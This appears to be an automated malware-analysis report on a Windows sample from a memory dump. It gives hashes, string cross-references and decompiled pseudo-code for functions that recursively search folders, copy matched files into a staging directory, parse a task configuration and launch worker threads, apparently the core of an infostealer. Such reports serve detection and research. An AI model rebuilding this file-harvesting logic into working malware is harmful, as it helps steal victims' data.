0x00412f48
0x00412e67
0x00412e6a
0x00412e78
0x00412e7c
0x00412e8a
0x00412e8d
0x00412e96
0x00412e96
0x00412e99
0x00412e99
0x00412ea7
0x00412ec4
0x00412ecc
0x00412ece
0x00412ef5
0x00412efb
0x00412f02
0x00412f1e
0x00412f26
0x00412f28
0x00000000
0x00412f34
0x00000000
0x00412f2a
0x00000000
0x00412ed0
0x00000000
0x00412ed0
0x00412ece
0x00412e70
0x00412e72
0x00000000
0x00000000
0x00000000
0x00412e72
0x00000000
0x00412dec
0x00000000
0x00412dde
0x00412d6b
0x00412d6f
0x00000000
0x00000000
0x00412d7c
0x00000000
0x00412d7c
0x00412d46
0x00412d4a
0x00000000
0x00000000
0x00412d59
0x00412d5e
0x00000000
0x00412d5e
0x00412d0f
0x00412b72
0x00000000
0x00412b7d
0x00412b2f
0x00000000
0x00412b34
0x00412905
0x004127e0
0x004127e0
0x004127e3
0x004127e9
0x004127f2
0x004127f8
0x004127ff
0x004127ff
0x0041280e
0x00412815
0x0041281e
0x0041281e
0x00412821
0x00000000
0x00412821
0x00000000
0x004126f7
0x004126cc
0x00000000
0x004126cc
0x004126ae
0x00000000
0x004126ae
0x00412690
0x00000000
0x00412690
0x00412665
0x0041266a
0x00412670
0x00412672
0x00000000
0x00000000
0x00000000
0x00412672
0x004125d8
0x004125e4
0x004125e4
0x004125e7
0x004125ed
0x004125f5
0x004125fb
0x00412602
0x00412602
0x00412617
0x0041261d
0x0041262b
0x0041262e
0x00000000
0x00000000
0x00412630
0x00000000
0x00412630
0x00000000
0x00412573
0x00000000
0x004124d5
0x00000000

Strings

T, xrefs: 004129AF
in-gdi-devcaps-l1-1-0, xrefs: 004124D5
U, xrefs: 004129A8
}3A, xrefs: 004126F7

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: T$U$in-gdi-devcaps-l1-1-0$}3A
API String ID: 0-4164941578
Opcode ID: 5e01309a8168791c0243025764e2dd2830cab9a16f3f8c2054661e76be3c8c59
Instruction ID: 7205c875fbe07e454462ff4672f3587f8e3399538806df576de318d32dd6b353
Opcode Fuzzy Hash: 5e01309a8168791c0243025764e2dd2830cab9a16f3f8c2054661e76be3c8c59
Instruction Fuzzy Hash: C7723AB49052698FCB24CF14C990BEABBB1BF49305F1480DAD509A7382D7789EC5CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00408360, Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 337
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00408360(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				intOrPtr _v272;
				char _v552;
				signed int _v596;
				char _v860;
				char _v1124;
				char _v1388;
				intOrPtr _t121;
				signed int _t122;
				signed int _t124;
				void* _t125;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				CHAR* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				 *0x420018( &_v268, "%s\\*", _a8);
				_t273 = _t272 + 0xc;
				_t121 =  *0x420258( &_v268,  &_v596); // executed
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x4201dc( &_v552, ".");
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x4201dc( &_v552, "..");
					__eflags = _t126;
					if(_t126 != 0) {
						 *0x420018( &_v860, "%s\\%s", _a8,  &_v552);
						_t273 = _t273 + 0x10;
						_t129 =  *0x41fce0; // 0x5646c8
						__eflags =  *0x4201dc( &_v552, _t129);
						if(__eflags != 0) {
							_t200 =  *0x41f800; // 0x562d90
							__eflags =  *0x4201dc( &_v552, _t200);
							if(__eflags != 0) {
								_t132 =  *0x41fd58; // 0x5646e0
								__eflags =  *0x4201dc( &_v552, _t132);
								if(__eflags != 0) {
									_t134 =  *0x41fb0c; // 0x562df0
									__eflags =  *0x4201dc( &_v552, _t134);
									if(__eflags != 0) {
										__eflags = _v596 & 0x00000010;
										if((_v596 & 0x00000010) != 0) {
											E00408360( &_v552,  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
											_t273 = _t273 + 0x24;
										}
									} else {
										 *0x420038(0x104,  &_v1388);
										lstrcatA( &_v1388, "\\");
										_t146 = E0040B450( &_v552, __eflags, 8);
										_t274 = _t273 + 4;
										lstrcatA( &_v1388, _t146);
										 *0x420064( &_v860,  &_v1388, 1); // executed
										__eflags = _a36;
										if(__eflags != 0) {
											E00408090(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E004081D0(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24); // executed
											_t274 = _t274 + 0x18;
										}
										 *0x4200a8( &_v1388); // executed
										E0040B2C0( &_v1388, 0x104);
										E00408360( &_v552,  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
										_t273 = _t274 + 0x24;
									}
								} else {
									 *0x420038(0x104,  &_v1124);
									lstrcatA( &_v1124, "\\");
									lstrcatA( &_v1124, E0040B450( &_v552, __eflags, 8));
									 *0x420064( &_v860,  &_v1124, 1); // executed
									E00407E60(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00407CD0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24); // executed
										_t276 = _t276 + 0x18;
									}
									 *0x4200a8( &_v1124); // executed
									E0040B2C0( &_v1124, 0x104);
									E00408360( &_v552,  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
									_t273 = _t276 + 0x24;
								}
							} else {
								E004078D0(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24); // executed
								E00408360( &_v552,  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407640(__eflags, _a4,  &_v860, _a12, _a16, _a20); // executed
							E00408360( &_v552,  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
							_t273 = _t273 + 0x38;
						}
						E0040B2C0( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 =  *0x4200c4(_v272,  &_v596); // executed
					__eflags = _t124;
				} while (_t124 != 0);
				_t125 =  *0x42004c(_v272); // executed
				return _t125;
			}

0x00408379
0x0040837f
0x00408390
0x00408396
0x004083a3
0x00000000
0x00000000
0x00000000
0x00000000
0x004083aa
0x004083aa
0x004083b6
0x004083bc
0x004083be
0x004083d6
0x00000000
0x004083d6
0x004083cc
0x004083d2
0x004083d4
0x004083f2
0x004083f8
0x004083fb
0x0040840e
0x00408410
0x00408468
0x0040847c
0x0040847e
0x004084da
0x004084ed
0x004084ef
0x004085e8
0x004085fb
0x004085fd
0x004086ff
0x00408702
0x0040872e
0x00408733
0x00408733
0x00408603
0x0040860f
0x00408621
0x00408629
0x0040862e
0x00408639
0x0040864f
0x00408655
0x00408659
0x00408676
0x0040867b
0x0040867b
0x0040867e
0x00408682
0x0040869f
0x004086a4
0x004086a4
0x004086ae
0x004086c0
0x004086ef
0x004086f4
0x004086f4
0x004084f5
0x00408501
0x00408513
0x0040852b
0x00408541
0x00408562
0x00408567
0x0040856a
0x0040856e
0x0040858b
0x00408590
0x00408590
0x0040859a
0x004085ac
0x004085db
0x004085e0
0x004085e0
0x00408480
0x0040849b
0x004084cd
0x004084d2
0x004084d2
0x00408412
0x00408429
0x0040845b
0x00408460
0x00408460
0x00408742
0x00000000
0x00408742
0x00000000
0x00408747
0x00408755
0x0040875b
0x0040875b
0x0040876a
0x00000000

Strings

%s\%s, xrefs: 004083E6
FV, xrefs: 004084DA
%s\*, xrefs: 0040836D

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: %s\%s$%s\*$FV
API String ID: 0-3285835728
Opcode ID: 060f747e29cfed2d6805b96805d365ad1eddbdb09cea1acb274a640cfaf26071
Instruction ID: cf92e24cf39b7150a25ddda51c8d6c6f782ca63e60463611b889a6be04946921
Opcode Fuzzy Hash: 060f747e29cfed2d6805b96805d365ad1eddbdb09cea1acb274a640cfaf26071
Instruction Fuzzy Hash: 32D142B2600109ABCB14DF94DD85EEB73BDBB8C704F04865DB609A3140EB35EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401240, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 134COMMON

Download Yara Rule

Strings

%s\%s, xrefs: 004012C6, 00401317
%s\*, xrefs: 0040124D

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: %s\%s$%s\*
API String ID: 0-2848263008
Opcode ID: 6575d1fa2f9acd99dcb2868ca3d85d9936b276b4a9343311bd019abffccbc2b0
Instruction ID: bf2e48e51fd936849a529ec9b7d6acccd6dbe26d0e73eba0a0a48b989f4f3d6c
Opcode Fuzzy Hash: 6575d1fa2f9acd99dcb2868ca3d85d9936b276b4a9343311bd019abffccbc2b0
Instruction Fuzzy Hash: 26519671500219ABDB20DFA0DC48EEA73B8BB48700F4485DDF609A3191EB75AB95CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEB0, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

@DV, xrefs: 0040B004
%s\%s, xrefs: 0040AF8E
?, xrefs: 0040AED7

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: %s\%s$?$@DV
API String ID: 0-2413370138
Opcode ID: 97ae34564adcead124e616739e0ee96f89b718b1434e94c0893f04b46043eade
Instruction ID: d4789cce983868a35042f95c774f8b34ea847cb90d5b7b5af3f54f0034bcd9a1
Opcode Fuzzy Hash: 97ae34564adcead124e616739e0ee96f89b718b1434e94c0893f04b46043eade
Instruction Fuzzy Hash: CA5122B1A0021CABDB20CF50DD49FEA77B8FB44304F50C5A9A249A6181DF749A86CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E00401050(CHAR* _a8, intOrPtr _a12, CHAR* _a20, intOrPtr _a24) {
				char _v268;
				intOrPtr _v272;
				char _v552;
				char _v596;
				char _v860;
				char _v1124;
				intOrPtr _t33;
				CHAR* _t67;
				void* _t72;
				void* _t73;

				 *0x420048(_a8); // executed
				 *0x420018( &_v268, "%s\\%s", _a8, _a12);
				_t73 = _t72 + 0x10;
				_t33 =  *0x420258( &_v268,  &_v596); // executed
				_v272 = _t33;
				if(_v272 != 0xffffffff) {
					do {
						_push(".");
						_push( &_v552);
						if( *0x4201dc() == 0) {
							L4:
							goto L6;
						}
						_push("..");
						_push( &_v552);
						if( *0x4201dc() != 0) {
							E0040B2C0( &_v1124, 0x104);
							E0040B2C0( &_v860, 0x104);
							lstrcatA( &_v1124, _a8);
							lstrcatA( &_v1124,  &_v552);
							_t67 =  *0x41fd50; // 0x562818
							lstrcatA( &_v860, _t67);
							lstrcatA( &_v860, _a20);
							lstrcatA( &_v860, "\\");
							lstrcatA( &_v860,  &_v552);
							E00413390(_a24,  &_v860,  &_v1124);
							_t73 = _t73 + 0xc;
							goto L6;
						}
						goto L4;
						L6:
						_push( &_v596);
						_push(_v272);
					} while ( *0x4200c4() != 0);
					return  *0x42004c(_v272);
				}
				return _t33;
			}

0x0040105d
0x00401077
0x0040107d
0x0040108e
0x00401094
0x004010a1
0x004010a8
0x004010a8
0x004010b3
0x004010bc
0x004010d4
0x00000000
0x004010d4
0x004010be
0x004010c9
0x004010d2
0x004010e5
0x004010f6
0x00401106
0x0040111a
0x00401120
0x0040112e
0x0040113f
0x00401151
0x00401165
0x0040117d
0x00401182
0x00000000
0x00401182
0x00000000
0x00401185
0x0040118b
0x00401192
0x00401199
0x00000000
0x004011a8
0x00000000

Strings

%s\%s, xrefs: 0040106B

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: %s\%s
API String ID: 0-4073750446
Opcode ID: 0453836d078b13b5d478bfcc7828374042fab2540529c44b8ccf38cf6f38ca5c
Instruction ID: 1de79d6bbdf199af6683bd417a49c73c3bfce01a18a7d91f3c824c75ab892d62
Opcode Fuzzy Hash: 0453836d078b13b5d478bfcc7828374042fab2540529c44b8ccf38cf6f38ca5c
Instruction Fuzzy Hash: 01318B7560021DABCB20DFA0DC48EFB73BCBB58701F44859AB619A2191DB7497C5CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405990, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 215stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00001388), ref: 004059EC

Strings

%s\%s, xrefs: 00405A3C, 00405A93, 00405ABB
%s\%s\%s, xrefs: 00405AE1
%s\*, xrefs: 004059A1

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 4038537762-1426491737
Opcode ID: 2605280ea596fdfa8c71c0d8e932cd04c28cfa92bb3472725e502f9d57267e5c
Instruction ID: 64465d7309979103f61e19b7c7952f153d1485d79bbdf6f4df216205caefafca
Opcode Fuzzy Hash: 2605280ea596fdfa8c71c0d8e932cd04c28cfa92bb3472725e502f9d57267e5c
Instruction Fuzzy Hash: AC818475A00218EFDB20CF90DC44EEB73B8EF48701F84869DF50AA6181E7749A85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405E70, Relevance: 9.2, APIs: 6, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00405E70(void* __ebx, void* __ecx, void* __edi, void* __eflags, CHAR* _a4, CHAR* _a8) {
				signed int _v8;
				CHAR* _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				CHAR* _v5552;
				char _v5820;
				CHAR* _v5824;
				char _v5828;
				CHAR* _v5832;
				signed int _v5836;
				CHAR* _t74;
				CHAR* _t79;
				void* _t99;
				void* _t100;

				_t98 = __edi;
				_t85 = __ebx;
				E00416530(0x16c8);
				_v5552 = 1;
				E0040B2C0( &_v5548, 0x1388);
				E0040B2C0( &_v540, 0x104);
				E0040B2C0( &_v5820, 0x104);
				E0040B2C0( &_v276, 0x104);
				E0040B2C0( &_v5832, 4);
				lstrcatA( &_v5548, _a4);
				_t96 =  &_v5548;
				_t74 = E00413451(__ebx,  &_v5548, __edi,  &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						_t96 = _v5836;
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040617C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B2C0( &_v540, 0x104);
									_t96 = _v5824;
									lstrcatA( &_v540, _v5824);
								} else {
									_push("1");
									_push(_v5824);
									if( *0x4201dc() == 0) {
										 *0x420324 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__edx = _v5824;
									_v544 = E0040B1F0(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x4201dc();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x420328 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B2C0( &_v5820, 0x104);
									__edx = _v5824;
									 &_v5820 = lstrcatA( &_v5820, __edx);
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x4201dc();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x42032c = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__edx =  &_v276;
									E0040B2C0(__edx, 0x104) = _v5824;
									__ecx =  &_v276;
									__eax = lstrcatA( &_v276, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x4201dc();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x420330 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								__edx = _v5824;
								_push(__edx);
								__eax =  *0x4201dc();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x4201dc();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								__edx = _v5832;
								__eax = _a8;
								__ecx = _v12;
								__edx =  &_v276;
								__eax =  &_v5820;
								__ecx = _v544;
								__edx =  &_v540;
								__eax = E00405C80(__ebx, _v544, __edi, __eflags,  &_v540, __ecx,  &_v5820,  &_v276, _v12, _a8, _v5832, _v5824); // executed
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 =  &(_v8[1]);
					_t79 = E00413451(_t85, _t96, _t98, 0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B2C0( &_v5548, 0x1388);
			}

0x00405e70
0x00405e70
0x00405e78
0x00405e7d
0x00405e93
0x00405ea4
0x00405eb5
0x00405ec6
0x00405ed4
0x00405ee4
0x00405ef6
0x00405efd
0x00405f02
0x00405f05
0x00405f0b
0x00405f12
0x00405f22
0x00405f31
0x00405f3e
0x00405f44
0x00405f4a
0x00000000
0x00405f58
0x00405f88
0x00405f8d
0x00405f9b
0x00405f5a
0x00405f5a
0x00405f65
0x00405f6e
0x00405f70
0x00405f70
0x00405f7a
0x00000000
0x00000000
0x00405fa6
0x00405fad
0x00405fd1
0x00405fe0
0x00405faf
0x00405faf
0x00405fb4
0x00405fba
0x00405fbb
0x00405fc1
0x00405fc3
0x00405fc5
0x00405fc5
0x00405fcf
0x00000000
0x00000000
0x00405feb
0x00405ff2
0x0040601b
0x00406022
0x00406027
0x00406035
0x00405ff4
0x00405ff4
0x00405ff9
0x00405fff
0x00406000
0x00406006
0x00406008
0x0040600a
0x0040600a
0x00406014
0x00000000
0x00000000
0x00406040
0x00406047
0x00406081
0x0040608d
0x00406094
0x0040609b
0x00406049
0x00406049
0x0040604e
0x00406054
0x00406055
0x0040605b
0x0040605d
0x0040605f
0x0040605f
0x00406069
0x00406073
0x00406073
0x00000000
0x00000000
0x004060a6
0x004060ab
0x004060b1
0x004060b2
0x004060b8
0x004060ba
0x004060c5
0x004060bc
0x004060bc
0x004060bc
0x00000000
0x00000000
0x004060ce
0x004060d3
0x004060d9
0x004060da
0x004060e0
0x004060e2
0x004060f0
0x004060e4
0x004060e4
0x004060e4
0x00000000
0x00000000
0x004060fc
0x00406103
0x0040610a
0x0040610e
0x00406112
0x00406119
0x00406120
0x00406127
0x0040612e
0x00406136
0x00000000
0x00000000
0x00405f4a
0x0040613d
0x00406143
0x00406154
0x00406159
0x0040615c
0x0040615c
0x0040617b

APIs

lstrcatA.KERNEL32(?,?,?,00000004,?,00000104,?,00000104,?,00000104,?,00001388), ref: 00405EE4
_strtok_s.LIBCMT ref: 00405EFD
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00405F9B
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00406035
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0040609B

Part of subcall function 00405C80: _strtok_s.LIBCMT ref: 00405DB4

_strtok_s.LIBCMT ref: 00406154

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$_strtok_s
String ID:
API String ID: 1482535330-0
Opcode ID: 4487b0737c1241ae491986075a57ba939194b6e70befa608df62aa5192cbb239
Instruction ID: 4e0fc6c5fc3fc90bef96a252c01c0cbf0a3c34726c49fc8ac0d9a63f398b3d38
Opcode Fuzzy Hash: 4487b0737c1241ae491986075a57ba939194b6e70befa608df62aa5192cbb239
Instruction Fuzzy Hash: B3715FB5D44218DBCB20DF50CC89BEA73B8AF44704F4486EEE106B6191D77A9AC5CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00406690, Relevance: 9.1, APIs: 6, Instructions: 57
sleepthreadCOMMON

Download Yara Rule

C-Code - Quality: 79%

			_entry_() {
				intOrPtr _v8;
				void* _t8;
				void* _t11;
				void* _t12;
				void* _t13;

				E00401730(); // executed
				E0040BF00(_t19); // executed
				_t8 = E004065D0(); // executed
				_t23 = _t8;
				if(_t8 != 0) {
					_t11 = E00406620(_t23); // executed
					if(_t11 == 0) {
						_t12 = E00406540(); // executed
						if(_t12 != 0) {
							_t13 = E00406660(); // executed
							_t26 = _t13;
							if(_t13 != 0) {
								E004018E0(); // executed
								E0040C0B0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E00406420(_t19, _t26);
								CreateThread(0, 0, E004061A0, 0, 0, 0); // executed
							}
						}
					}
				}
				_v8 = 1;
				while(1 != 0) {
					if( *0x420334 == 0) {
						Sleep(0x29a); // executed
						_t19 = _v8 + 1;
						_v8 = _v8 + 1;
						Sleep(0x3e7); // executed
						_v8 = _v8 - 1;
						Sleep(0x14d); // executed
						continue;
					}
					break;
				}
				E0040BCF0(_t19); // executed
				ExitProcess(0);
			}

0x00406694
0x00406699
0x0040669e
0x004066a3
0x004066a5
0x004066a7
0x004066ae
0x004066b0
0x004066b7
0x004066b9
0x004066be
0x004066c0
0x004066c2
0x004066c7
0x004066db
0x004066e1
0x004066f5
0x004066f5
0x004066c0
0x004066b7
0x004066ae
0x004066fb
0x00406702
0x00406712
0x0040671b
0x00406724
0x00406727
0x0040672f
0x0040673b
0x00406743
0x00000000
0x00406743
0x00000000
0x00406714
0x0040674b
0x00406752

APIs

Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,00557A48), ref: 0040BF5C
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,0055EAD0), ref: 0040BF74
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,0055C718), ref: 0040BF8C
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,00557A00), ref: 0040BFA5
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,005579E8), ref: 0040BFBD
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,00557A18), ref: 0040BFD5
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,00557988), ref: 0040BFEE
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,00557A30), ref: 0040C006
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,0055C418), ref: 0040C01E
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73B60000,005579B8), ref: 0040C037
Part of subcall function 0040BF00: GetProcAddress.KERNEL32(73AE0000,00540EC0,?,0040669E), ref: 0040C07B

Part of subcall function 004065D0: Sleep.KERNEL32(00002710), ref: 004065E4

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 004066DB

Part of subcall function 00406420: lstrcatA.KERNEL32(?,0055C778), ref: 004064B5
Part of subcall function 00406420: ExitProcess.KERNEL32 ref: 00406532

CreateThread.KERNEL32(00000000,00000000,004061A0,00000000,00000000,00000000), ref: 004066F5
Sleep.KERNEL32(0000029A), ref: 0040671B
Sleep.KERNEL32(000003E7), ref: 0040672F
Sleep.KERNEL32(0000014D), ref: 00406743

Part of subcall function 00406660: GetLastError.KERNEL32(?,004066BE), ref: 00406673

Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563148,?,004066CC), ref: 0040C0CD
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,005631D8,?,004066CC), ref: 0040C0E5
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,0055C2F8,?,004066CC), ref: 0040C0FE
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563118,?,004066CC), ref: 0040C116
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563130,?,004066CC), ref: 0040C12E
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563208,?,004066CC), ref: 0040C147
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563010,?,004066CC), ref: 0040C15F
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,005631C0,?,004066CC), ref: 0040C177
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563220,?,004066CC), ref: 0040C190
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00562FC8,?,004066CC), ref: 0040C1A8
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563238,?,004066CC), ref: 0040C1C0
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00562FF8,?,004066CC), ref: 0040C1D9
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563058,?,004066CC), ref: 0040C1F1
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563190,?,004066CC), ref: 0040C209
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,0055C198,?,004066CC), ref: 0040C222
Part of subcall function 0040C0B0: GetProcAddress.KERNEL32(73B60000,00563070,?,004066CC), ref: 0040C23A

ExitProcess.KERNEL32 ref: 00406752

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$Sleep$CreateExitProcessThread$ErrorLastlstrcat
String ID:
API String ID: 1529570365-0
Opcode ID: 8ee6a2c691b79af4d14f694b4edf0e02ce31447afac7d1640b9d5432088bd1fb
Instruction ID: 0b23296c1108d3b2d18bd1629b6766c01d0748a3779a9c15944f48a802ac793c
Opcode Fuzzy Hash: 8ee6a2c691b79af4d14f694b4edf0e02ce31447afac7d1640b9d5432088bd1fb
Instruction Fuzzy Hash: B9116930384305A7F7207BB2DE0BB5E35649F04B4DF22407AFA02792D1DEB9A950956E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A180, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A180(void* __ecx, void* __eflags, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v268;
				char _v532;
				void* _t26;
				CHAR* _t35;
				intOrPtr _t38;
				void* _t44;
				void* _t46;

				E0040B2C0( &_v532, 0x104);
				E0040B2C0( &_v268, 0x104);
				E0040B3A0( &_v268,  &_v532, 0x1a); // executed
				lstrcatA( &_v532, _a4);
				lstrcatA( &_v268,  &_v532);
				_t35 =  *0x41f9c0; // 0x564038
				lstrcatA( &_v268, _t35);
				_t26 = E0040B710( &_v268); // executed
				_t46 = _t44 + 0xc;
				if(_t26 != 0) {
					if( *0x41ffe4 == 0) {
						E00405060(_t35);
						 *0x41ffe4 = 1;
						_t38 =  *0x41fe50; // 0x564278
						E004074C0(_t38);
						_t46 = _t46 + 4;
					}
					return E00409260(0x4187ce,  &_v532, _a8, _a12, _a16, _a20, _a24);
				}
				return _t26;
			}

0x0040a195
0x0040a1a6
0x0040a1b4
0x0040a1c7
0x0040a1db
0x0040a1e1
0x0040a1ef
0x0040a1fc
0x0040a201
0x0040a206
0x0040a20f
0x0040a211
0x0040a216
0x0040a220
0x0040a227
0x0040a22c
0x0040a22c
0x00000000
0x0040a254
0x0040a25a

APIs

lstrcatA.KERNEL32(?,00000001,?,00000104), ref: 0040A1C7
lstrcatA.KERNEL32(?,?), ref: 0040A1DB
lstrcatA.KERNEL32(?,00564038), ref: 0040A1EF

Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055EA00,?,00000104,?,00000104,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004050DC
Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055C438), ref: 004050F0
Part of subcall function 00405060: lstrcatA.KERNEL32(?,00562878), ref: 00405104
Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055EA00), ref: 00405117
Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055C438), ref: 0040512B
Part of subcall function 00405060: lstrcatA.KERNEL32(?,005629C8), ref: 0040513F
Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055EA00), ref: 00405152
Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055C438), ref: 00405166
Part of subcall function 00405060: lstrcatA.KERNEL32(?,005627D0), ref: 0040517A
Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055EA00), ref: 0040518D
Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055C438), ref: 004051A1
Part of subcall function 00405060: lstrcatA.KERNEL32(?,00562A70), ref: 004051B5
Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055EA00), ref: 004051C8
Part of subcall function 00405060: lstrcatA.KERNEL32(?,0055C438), ref: 004051DC

